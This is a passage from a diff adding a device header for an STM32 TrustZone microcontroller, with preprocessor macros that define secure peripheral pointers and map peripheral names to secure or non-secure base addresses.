RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define DCACHE2_S ((DCACHE_TypeDef *) DCACHE2_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) +#define GFXMMU_S ((GFXMMU_TypeDef *) GFXMMU_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define DCACHE2 DCACHE2_S +#define DCACHE2_BASE DCACHE2_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#define GFXMMU GFXMMU_S +#define GFXMMU_BASE GFXMMU_BASE_S +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_S +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_S +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_S +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_S +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_S + +#define GPU2D GPU2D_BASE_S + +#define LTDC LTDC_S +#define LTDC_BASE LTDC_BASE_S + +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_S +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_S + +#define DSI DSI_S +#define DSI_BASE DSI_BASE_S + +#define REFBIAS REFBIAS_S +#define REFBIAS_BASE REFBIAS_BASE_S + +#define DPHY DPHY_S +#define DPHY_BASE DPHY_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define DCACHE2 DCACHE2_NS +#define DCACHE2_BASE DCACHE2_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE 